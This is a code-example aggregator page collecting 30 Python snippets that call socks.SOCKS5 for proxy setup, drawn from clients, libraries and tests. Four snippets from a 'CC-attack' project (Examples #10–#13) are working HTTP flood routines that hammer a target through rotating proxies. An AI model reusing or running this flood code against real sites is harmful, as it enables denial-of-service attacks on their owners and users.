Python socks.SOCKS5 Examples
The following are 30
code examples of socks.SOCKS5().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
socks
, or try the search function
.
Example #1
Source File: connect_creator.py From XX-Net-mini with GNU General Public License v3.0 | 8 votes |
def update_config(self): if int(self.config.PROXY_ENABLE): if self.config.PROXY_TYPE == "HTTP": proxy_type = socks.HTTP elif self.config.PROXY_TYPE == "SOCKS4": proxy_type = socks.SOCKS4 elif self.config.PROXY_TYPE == "SOCKS5": proxy_type = socks.SOCKS5 else: self.logger.error("proxy type %s unknown, disable proxy", self.config.PROXY_TYPE) raise Exception() socks.set_default_proxy(proxy_type, self.config.PROXY_HOST, self.config.PROXY_PORT, self.config.PROXY_USER, self.config.PROXY_PASSWD)
Example #2
Source File: connect_manager.py From XX-Net-mini with GNU General Public License v3.0 | 7 votes |
def load_proxy_config(): global default_socket if g.config.PROXY_ENABLE: if g.config.PROXY_TYPE == "HTTP": proxy_type = socks.HTTP elif g.config.PROXY_TYPE == "SOCKS4": proxy_type = socks.SOCKS4 elif g.config.PROXY_TYPE == "SOCKS5": proxy_type = socks.SOCKS5 else: xlog.error("proxy type %s unknown, disable proxy", g.config.PROXY_TYPE) raise Exception() socks.set_default_proxy(proxy_type, g.config.PROXY_HOST, g.config.PROXY_PORT, g.config.PROXY_USER, g.config.PROXY_PASSWD)
Example #3
Source File: rainbow.py From rainbowstream with MIT License | 6 votes |
def proxy_connect(args): """ Connect to specified proxy """ if args.proxy_host: # Setup proxy by monkeypatching the standard lib if args.proxy_type.lower() == "socks5" or not args.proxy_type: socks.set_default_proxy( socks.SOCKS5, args.proxy_host, int(args.proxy_port)) elif args.proxy_type.lower() == "http": socks.set_default_proxy( socks.HTTP, args.proxy_host, int(args.proxy_port)) elif args.proxy_type.lower() == "socks4": socks.set_default_proxy( socks.SOCKS4, args.proxy_host, int(args.proxy_port)) else: printNicely( magenta('Sorry, wrong proxy type specified! Aborting...')) sys.exit() socket.socket = socks.socksocket
Example #4
Source File: tracker_proxy.py From sync-over-the-wall with MIT License | 6 votes |
def main(): conf = json.load(open("./proxy.conf")) if 'gfw_proxy' in conf: proxy = conf['gfw_proxy'] if proxy['type'] == "socks5": proxy['type'] = socks.SOCKS5 elif proxy['type'] == "socks4": proxy['type'] = socks.SOCKS4 else: print "Only support SOCKS4/5 proxy." return print "Start TCP Proxies..." for f in TCP_FORWARDS: trd = TCP_Proxy_Thread(f['local_port'], f['remote_server'], proxy) trd.start() else: print "gfw_proxy not defined in proxy.conf"
Example #5
Source File: gsocket.py From Galileo with GNU General Public License v3.0 | 5 votes |
def Send(self,target,data=None,port=80,path=''): # set socks gsock = socks.socksocket() # method if self.method != '':method = self.method.upper() else: method = 'GET' # timeout if self.timeout != None: print(self.timeout) gsock.settimeout(self.timeout) # set proxy if self.proxy != ('' or None or ""): proto,host,port = RProxy(self.proxy) if proto == 3:gsock.set_proxy(socks.HTTP,host,port) elif proto == 2:gsock.set_proxy(socks.SOCKS5,host,port) else:gsock.set_proxy(socks.SOCKS4,host,port) # connect gsock.connect((target,port)) # get if method == 'GET': req = '\r%s /%s %s/%s\r\n'%(method,data if data != None else '', self.protocol.upper(),self.http_version) if self.headers != ('' or None):req += '%s'%(RHeader(self.headers)) # post elif method == 'POST': req = '\r%s /%s %s/%s\r\n'%(method,data if data != None else '', self.protocol.upper(),self.http_version) if self.headers != ('' or None):req += '%s'%(RHeader(self.headers)) if data != ('' or None):req += '\r\n%s\r\n'%(data) # other methods else: req = '\r%s /%s %s/%s\r\n'%(method,data if data != None else '', self.protocol.upper(),self.http_version) if self.headers != ('' or None):req += '%s'%(RHeader(self.headers)) # send data gsock.sendall(req) # return resp resp = gsock.recv(4096) return resp
Example #6
Source File: _http.py From Tautulli with GNU General Public License v3.0 | 5 votes |
def _open_proxied_socket(url, options, proxy): hostname, port, resource, is_secure = parse_url(url) if not HAS_PYSOCKS: raise WebSocketException("PySocks module not found.") ptype = socks.SOCKS5 rdns = False if proxy.type == "socks4": ptype = socks.SOCKS4 if proxy.type == "http": ptype = socks.HTTP if proxy.type[-1] == "h": rdns = True sock = socks.create_connection( (hostname, port), proxy_type = ptype, proxy_addr = proxy.host, proxy_port = proxy.port, proxy_rdns = rdns, proxy_username = proxy.auth[0] if proxy.auth else None, proxy_password = proxy.auth[1] if proxy.auth else None, timeout = options.timeout, socket_options = DEFAULT_SOCKET_OPTION + options.sockopt ) if is_secure: if HAVE_SSL: sock = _ssl_socket(sock, options.sslopt, hostname) else: raise WebSocketException("SSL not available.") return sock, (hostname, port, resource)
Example #7
Source File: rainbow.py From rainbowstream with MIT License | 5 votes |
def parse_arguments(): """ Parse the arguments """ parser = argparse.ArgumentParser(description=__doc__ or "") parser.add_argument( '-s', '--stream', default="mine", help='Default stream after program start. (Default: mine)') parser.add_argument( '-to', '--timeout', help='Timeout for the stream (seconds).') parser.add_argument( '-tt', '--track-keywords', help='Search the stream for specific text.') parser.add_argument( '-fil', '--filter', help='Filter specific screen_name.') parser.add_argument( '-ig', '--ignore', help='Ignore specific screen_name.') parser.add_argument( '-iot', '--image-on-term', action='store_true', help='Display all image on terminal.') parser.add_argument( '-24', '--color-24bit', action='store_true', help='Display images using 24bit color codes.') parser.add_argument( '-ph', '--proxy-host', help='Use HTTP/SOCKS proxy for network connections.') parser.add_argument( '-pp', '--proxy-port', default=8080, help='HTTP/SOCKS proxy port (Default: 8080).') parser.add_argument( '-pt', '--proxy-type', default='SOCKS5', help='Proxy type (HTTP, SOCKS4, SOCKS5; Default: SOCKS5).') parser.add_argument( '-ta', '--twitter-auth', default=os.environ.get('HOME', os.environ.get('USERPROFILE', '')) + os.sep + '.rainbow_oauth', help='Specify which OAuth profile to use for twitter. Default: ~/.rainbow_oauth.') parser.add_argument( '-pa', '--pocket-auth', default=os.environ.get('HOME', os.environ.get('USERPROFILE', '')) + os.sep + '.rainbow_pckt_oauth', help='Specify which OAuth profile to use for pocket. Default: ~/.rainbow_pckt_oauth.') return parser.parse_args()
Example #8
Source File: rawhttp.py From Saker with GNU General Public License v3.0 | 5 votes |
def setProxy(self, addr, port, username=None, password=None, proxy_type=socks.SOCKS5): # pip install PySocks import socks socks.set_default_proxy( proxy_type, addr=addr, port=port, username=username, password=password ) # socket.socket = socks.socksocket self.socket = socks.socksocket
Example #9
Source File: telegram_spider.py From capturer with MIT License | 5 votes |
def open_client(): # get api_id and api_hash from https://my.telegram.org/apps api_id = None api_hash = None if not api_id or not api_hash: print('Please set api_id and api_hash, you can get it from https://my.telegram.org/apps') sys.exit(1) # socks5 proxy, can set to be 'None' if no need proxy = (socks.SOCKS5, "localhost", 1080) return TelegramClient('tg_session', api_id=api_id, api_hash=api_hash, proxy=proxy).start()
Example #10
Source File: cc.py From CC-attack with GNU General Public License v2.0 | 5 votes |
def checking(lines,socks_type,ms):#Proxy checker coded by Leeon123 global nums global proxies proxy = lines.strip().split(":") if len(proxy) != 2: proxies.remove(lines) return err = 0 while True: if err == 3: proxies.remove(lines) break try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) s.settimeout(ms) s.connect((str(ip), int(port))) if port == 443: ctx = ssl.SSLContext() s = ctx.wrap_socket(s,server_hostname=ip) s.send(str.encode("GET / HTTP/1.1\r\n\r\n")) s.close() break except: err +=1 nums += 1
Example #11
Source File: cc.py From CC-attack with GNU General Public License v2.0 | 5 votes |
def post(event,socks_type): global data post_host = "POST " + url2 + " HTTP/1.1\r\nHost: " + ip + "\r\n" content = "Content-Type: application/x-www-form-urlencoded\r\n" refer = "Referer: http://"+ ip + url2 + "\r\n" user_agent = "User-Agent: " + random.choice(useragents) + "\r\n" accept = Choice(acceptall) if mode2 != "y": data = str(random._urandom(16)) # You can enable bring data in HTTP Header length = "Content-Length: "+str(len(data))+" \r\nConnection: Keep-Alive\r\n" if cookies != "": length += "Cookies: "+str(cookies)+"\r\n" request = post_host + accept + refer + content + user_agent + length + "\n" + data + "\r\n\r\n" proxy = Choice(proxies).strip().split(":") event.wait() while True: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if brute: s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(ip), int(port))) if str(port) == '443': # //AUTO Enable SSL MODE :) ctx = ssl.SSLContext() s = ctx.wrap_socket(s,server_hostname=ip) try: for _ in range(multiple): s.sendall(str.encode(request)) except: s.close() print ("[*] Post Flooding from | "+str(proxy[0])+":"+str(proxy[1])) except: s.close()
Example #12
Source File: cc.py From CC-attack with GNU General Public License v2.0 | 5 votes |
def head(event,socks_type):#HEAD MODE connection = "Connection: Keep-Alive\r\n" if cookies != "": connection += "Cookies: "+str(cookies)+"\r\n" accept = Choice(acceptall) referer = "Referer: "+Choice(referers)+ ip + url2 + "\r\n" useragent = "User-Agent: " + random.choice(useragents) + "\r\n" proxy = Choice(proxies).strip().split(":") event.wait() while True: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if brute: s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(ip), int(port))) if port == 443: ctx = ssl.SSLContext() s = ctx.wrap_socket(s,server_hostname=ip) try: for _ in range(multiple): head_host = "HEAD " + url2 + "?" + randomurl() + " HTTP/1.1\r\nHost: " + ip + "\r\n" request = head_host + referer + useragent + accept + connection +"\r\n" s.send(str.encode(request)) except: s.close() print ("[*] CC Flooding from | "+str(proxy[0])+":"+str(proxy[1])) except:#dirty fix s.close()
Example #13
Source File: cc.py From CC-attack with GNU General Public License v2.0 | 5 votes |
def cc(event,socks_type): connection = "Connection: Keep-Alive\r\n" if cookies != "": connection += "Cookies: "+str(cookies)+"\r\n" accept = Choice(acceptall) referer = "Referer: "+Choice(referers)+ ip + url2 + "\r\n" useragent = "User-Agent: " + random.choice(useragents) + "\r\n" proxy = Choice(proxies).strip().split(":") event.wait() while True: try: s = socks.socksocket() if socks_type == 4: s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1])) if socks_type == 5: s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1])) if brute: s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.connect((str(ip), int(port))) if port == 443: ctx = ssl.SSLContext() s = ctx.wrap_socket(s,server_hostname=ip) try: for _ in range(multiple): get_host = "GET " + url2 + "?" + randomurl() + " HTTP/1.1\r\nHost: " + ip + "\r\n" request = get_host + referer + useragent + accept + connection +"\r\n" s.send(str.encode(request)) except: s.close() print ("[*] CC Flooding from | "+str(proxy[0])+":"+str(proxy[1])) except: s.close()
Example #14
Source File: _http.py From launcher with GNU General Public License v3.0 | 5 votes |
def _open_proxied_socket(url, options, proxy): hostname, port, resource, is_secure = parse_url(url) if not HAS_PYSOCKS: raise WebSocketException("PySocks module not found.") ptype = socks.SOCKS5 rdns = False if proxy.type == "socks4": ptype = socks.SOCKS4 if proxy.type == "http": ptype = socks.HTTP if proxy.type[-1] == "h": rdns = True sock = socks.create_connection( (hostname, port), proxy_type = ptype, proxy_addr = proxy.host, proxy_port = proxy.port, proxy_rdns = rdns, proxy_username = proxy.auth[0] if proxy.auth else None, proxy_password = proxy.auth[1] if proxy.auth else None, timeout = options.timeout, socket_options = DEFAULT_SOCKET_OPTION + options.sockopt ) if is_secure: if HAVE_SSL: sock = _ssl_socket(sock, options.sslopt, hostname) else: raise WebSocketException("SSL not available.") return sock, (hostname, port, resource)
Example #15
Source File: verifier.py From email-verifier with MIT License | 5 votes |
def __init__(self, source_addr, proxy_type = None, proxy_addr = None, proxy_port = None, proxy_username = None, proxy_password = None): """ Initializes the Verifier object with proxy settings. :param proxy_type: One of `SOCKS4`, `SOCKS5` or `HTTP`. :param proxy_addr: Address of the proxy. :param proxy_port: Port of the proxy. :param proxy_username: Username to authenticate with. :param proxy_password: Password for the user. (Only when username is provided) """ if proxy_type: try: self.proxy_type = proxy[proxy_type.lower()] except KeyError as e: raise UnknownProxyError(proxy_type) else: self.proxy_type = None self.source_addr = source_addr self.proxy_addr = proxy_addr self.proxy_port = proxy_port self.proxy_username = proxy_username self.proxy_password = proxy_password
Example #16
Source File: RtspClient.py From ReolinkCameraAPI with GNU General Public License v3.0 | 5 votes |
def connect(self) -> socket: try: sockt = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM) sockt.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) if self.proxy is not None: sockt.set_proxy(socks.SOCKS5, self.proxy["host"], self.proxy["port"]) sockt.connect((self.ip, self.port)) return sockt except Exception as e: print(e)
Example #17
Source File: _http.py From deepWordBug with Apache License 2.0 | 5 votes |
def _open_proxied_socket(url, options, proxy): hostname, port, resource, is_secure = parse_url(url) if not HAS_PYSOCKS: raise WebSocketException("PySocks module not found.") ptype = socks.SOCKS5 rdns = False if proxy.type == "socks4": ptype = socks.SOCKS4 if proxy.type == "http": ptype = socks.HTTP if proxy.type[-1] == "h": rdns = True sock = socks.create_connection( (hostname, port), proxy_type = ptype, proxy_addr = proxy.host, proxy_port = proxy.port, proxy_rdns = rdns, proxy_username = proxy.auth[0] if proxy.auth else None, proxy_password = proxy.auth[1] if proxy.auth else None, timeout = options.timeout, socket_options = DEFAULT_SOCKET_OPTION + options.sockopt ) if is_secure: if HAVE_SSL: sock = _ssl_socket(sock, options.sslopt, hostname) else: raise WebSocketException("SSL not available.") return sock, (hostname, port, resource)
Example #18
Source File: main.py From Telegram-CAPTCHA-bot with MIT License | 5 votes |
def main(): load_config() proxy = config.get('proxy', {}) if proxy: import socks proxy = (socks.SOCKS5, proxy.get('address'), proxy.get('port')) bot = TelegramClient('bot', config['api_id'], config['api_hash'], proxy=proxy, connection_retries=0) else: bot = TelegramClient('bot', config['api_id'], config['api_hash'], connection_retries=0) bot.add_event_handler(challenge_user) bot.add_event_handler(handle_challenge_response) wait_time = 1 while True: start_time = time.time() try: await bot.start(bot_token=config['token']) await bot.run_until_disconnected() except ConnectionError: if time.time()-start_time < 2: wait_time = min(wait_time*2, 256) else: wait_time = 1 logging.info(f'Reconnect after {wait_time} seconds...') time.sleep(wait_time) continue
Example #19
Source File: test_utils.py From telegram-export with Mozilla Public License 2.0 | 5 votes |
def test_parse_proxy_str(self): host = "127.0.0.1" port = 1080 proxy = (socks.SOCKS5, host, port) proxy_str = "socks5://127.0.0.1:1080" self.assertEqual(parse_proxy_str(proxy_str), proxy) proxy_str = "http://127.0.0.1:1080" proxy = (socks.HTTP, host, port) self.assertEqual(parse_proxy_str(proxy_str), proxy) proxy_str = "socks4://login:password@127.0.0.1:1080" proxy = (socks.SOCKS4, host, port, True, "login", "password") self.assertEqual(parse_proxy_str(proxy_str), proxy) proxy_str = "bad_type://login:password@127.0.0.1:1080" with self.assertRaises(ValueError): parse_proxy_str(proxy_str) proxy_str = "bad_type://127.0.0.1" with self.assertRaises(ValueError): parse_proxy_str(proxy_str) proxy_str = "bad_type:127.0.0.1" with self.assertRaises(ValueError): parse_proxy_str(proxy_str) proxy_str = "127.0.0.1:1080" with self.assertRaises(ValueError): parse_proxy_str(proxy_str)
Example #20
Source File: utils.py From telegram-export with Mozilla Public License 2.0 | 5 votes |
def parse_proxy_str(proxy_str): """ Returns proxy from given string """ if socks is None: raise Exception('Please install PySocks if you want to use a proxy') url_parser = urlparse(proxy_str) proxy_type = None proxy_type_str = url_parser.scheme if proxy_type_str.lower() == "socks5": proxy_type = socks.SOCKS5 elif proxy_type_str.lower() == "socks4": proxy_type = socks.SOCKS4 elif proxy_type_str.lower() == "https": proxy_type = socks.HTTP elif proxy_type_str.lower() == "http": proxy_type = socks.HTTP else: raise ValueError("Proxy type %s is not supported" % proxy_type) host = url_parser.hostname port = url_parser.port if host is None: raise ValueError("Host parsing error") if port is None: raise ValueError("Port parsing error") user = url_parser.username password = url_parser.password if user is not None and password is not None: proxy = (proxy_type, host, port, True, user, password) else: proxy = (proxy_type, host, port) return proxy
Example #21
Source File: _http.py From vnpy_crypto with MIT License | 5 votes |
def _open_proxied_socket(url, options, proxy): hostname, port, resource, is_secure = parse_url(url) if not HAS_PYSOCKS: raise WebSocketException("PySocks module not found.") ptype = socks.SOCKS5 rdns = False if proxy.type == "socks4": ptype = socks.SOCKS4 if proxy.type == "http": ptype = socks.HTTP if proxy.type[-1] == "h": rdns = True sock = socks.create_connection( (hostname, port), proxy_type = ptype, proxy_addr = proxy.host, proxy_port = proxy.port, proxy_rdns = rdns, proxy_username = proxy.auth[0] if proxy.auth else None, proxy_password = proxy.auth[1] if proxy.auth else None, timeout = options.timeout, socket_options = DEFAULT_SOCKET_OPTION + options.sockopt ) if is_secure: if HAVE_SSL: sock = _ssl_socket(sock, options.sslopt, hostname) else: raise WebSocketException("SSL not available.") return sock, (hostname, port, resource)
Example #22
Source File: sockstest.py From phpsploit with GNU General Public License v3.0 | 5 votes |
def global_override_SOCKS5_test(): default_proxy = (socks.SOCKS5, "127.0.0.1", 1081) socks.set_default_proxy(*default_proxy) good = socket.socket socket.socket = socks.socksocket status = urllib2.urlopen("http://ifconfig.me/ip").getcode() socket.socket = good assert status == 200 assert socks.get_default_proxy()[1].decode() == default_proxy[1]
Example #23
Source File: sockstest.py From phpsploit with GNU General Public License v3.0 | 5 votes |
def urllib2_handler_SOCKS5_test(): opener = urllib2.build_opener(sockshandler.SocksiPyHandler(socks.SOCKS5, "127.0.0.1", 1081)) status = opener.open("http://ifconfig.me/ip").getcode() assert status == 200
Example #24
Source File: sockstest.py From phpsploit with GNU General Public License v3.0 | 5 votes |
def socket_SOCKS5_IP_test(): s = socks.socksocket() s.set_proxy(socks.SOCKS5, "127.0.0.1", 1081) s.connect(("133.242.129.236", 80)) s.sendall(raw_HTTP_request()) status = s.recv(2048).splitlines()[0] assert status.startswith(b"HTTP/1.1 200")
Example #25
Source File: sockstest.py From phpsploit with GNU General Public License v3.0 | 5 votes |
def socket_SOCKS5_auth_test(): # TODO: add support for this test. Will need a better SOCKS5 server. s = socks.socksocket() s.set_proxy(socks.SOCKS5, "127.0.0.1", 1081, username="a", password="b") s.connect(("ifconfig.me", 80)) s.sendall(raw_HTTP_request()) status = s.recv(2048).splitlines()[0] assert status.startswith(b"HTTP/1.1 200")
Example #26
Source File: sockstest.py From phpsploit with GNU General Public License v3.0 | 5 votes |
def SOCKS5_timeout_test(): s = socks.socksocket() s.settimeout(0.0001) s.set_proxy(socks.SOCKS5, "127.0.0.1", 1081) try: s.connect(("ifconfig.me", 4444)) except socks.GeneralProxyError as e: assert str(e.socket_err) == "timed out"
Example #27
Source File: sockstest.py From phpsploit with GNU General Public License v3.0 | 5 votes |
def SOCKS5_connect_timeout_test(): s = socks.socksocket() s.settimeout(0.0001) s.set_proxy(socks.SOCKS5, "8.8.8.8", 80) try: s.connect(("ifconfig.me", 80)) except socks.ProxyConnectionError as e: assert str(e.socket_err) == "timed out"
Example #28
Source File: sockstest.py From phpsploit with GNU General Public License v3.0 | 5 votes |
def socket_SOCKS5_test(): s = socks.socksocket() s.set_proxy(socks.SOCKS5, "127.0.0.1", 1081) s.connect(("ifconfig.me", 80)) s.sendall(raw_HTTP_request()) status = s.recv(2048).splitlines()[0] assert status.startswith(b"HTTP/1.1 200")
Example #29
Source File: PhishingKitHunter.py From PhishingKitHunter with GNU Affero General Public License v3.0 | 4 votes |
def get_page(ResRefererEx): global PK_status global htmlshash # Use a proxy if declared in config file try: # Use a HTTP proxy if proxy_type in 'http': http_proxy proxy_support = urllib.request.ProxyHandler({'http': http_proxy}) opener = urllib.request.build_opener(proxy_support) urllib.request.install_opener(opener) # Use a SOCKS5 proxy elif proxy_type in 'socks': socks_proxy_server socks_proxy_port opener = urllib.request.build_opener(SocksiPyHandler(socks.SOCKS5, socks_proxy_server, int(socks_proxy_port), True)) urllib.request.install_opener(opener) except NameError: pass try: request = urllib.request.Request(url=ResRefererEx, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'}) response = urllib.request.urlopen(request, timeout=5) resp_code = response.getcode() htmldata = str(response.read().decode('utf-8')) if resp_code == 200: try: # If page contains tracking_file_request if RegRequest2.finditer(htmldata): PK_status = 'UP' # Create SHA256 hash of HTML page content htmlshash = hashlib.sha256(htmldata.encode('utf-8')).hexdigest() else: PK_status = 'Probably removed' except: err = sys.exc_info() print(err) pass else: PK_status = 'DOWN' except: err = sys.exc_info()[1] PK_status = ('can\'t connect (' + str(err) + ')') pass # Usage
Example #30
Source File: whois_connect.py From Malicious_Domain_Whois with GNU General Public License v3.0 | 3 votes |
def _connect(self): """核心函数:与whois通信 需要:socks.py (ver 1.5.7)""" # whois服务器ip,代理ip global _server_ip, _proxy_socks host = _server_ip.get_server_ip(self.whois_srv) # 服务器地址 host = host if host else self.whois_srv # 如果ip地址为空则使用服务器地址 self.tcpCliSock = socks.socksocket() # 创建socket对象 self.tcpCliSock.settimeout(TIMEOUT) # 设置超时时间 if Proxy_Flag: # socks代理配置 proxy_info = _proxy_socks.get_proxy_socks(self.whois_srv) # 代理IP if proxy_info is not None: # 设置代理 if proxy_info['mode'] == 'SOCKS5': self.tcpCliSock.set_proxy(proxy_type=socks.SOCKS5, # socks类型 addr=proxy_info['ip'], # socks代地址 port=proxy_info['port'], # 端口 username=proxy_info['username'], # 用户名 password=proxy_info['password']) # 密码 elif proxy_info['mode'] == 'SOCKS4': self.tcpCliSock.set_proxy(proxy_type=socks.SOCKS4, # socks类型 addr=proxy_info['ip'], # socks代地址 port=proxy_info['port']) # 端口 data_result = "" try: self.tcpCliSock.connect((host, 43)) # 连接whois服务器 self.tcpCliSock.send(self.request_data + '\r\n') # 发出请求 except Exception as e: # Exception来自socks.py 中设置的异常 if str(e).find("timed out") != -1 or \ str(e).find("TTL expired") != -1: # 连接超时 self.tcpCliSock.close() return "ERROR -1" elif str(e).find("Temporary failure in name resolution") != -1 or \ str(e).find("cannot connect to identd on the client") != -1 or \ str(e).find("unreachable") != -1: self.tcpCliSock.close() return "ERROR -2" else: self.tcpCliSock.close() return "ERROR OTHER" # 接收数据 while True: try: data_rcv = self.tcpCliSock.recv(1024) # 反复接收数据 except: self.tcpCliSock.close() return "ERROR -3" if not len(data_rcv): self.tcpCliSock.close() return data_result # 返回查询结果 data_result = data_result + data_rcv # 每次返回结果组合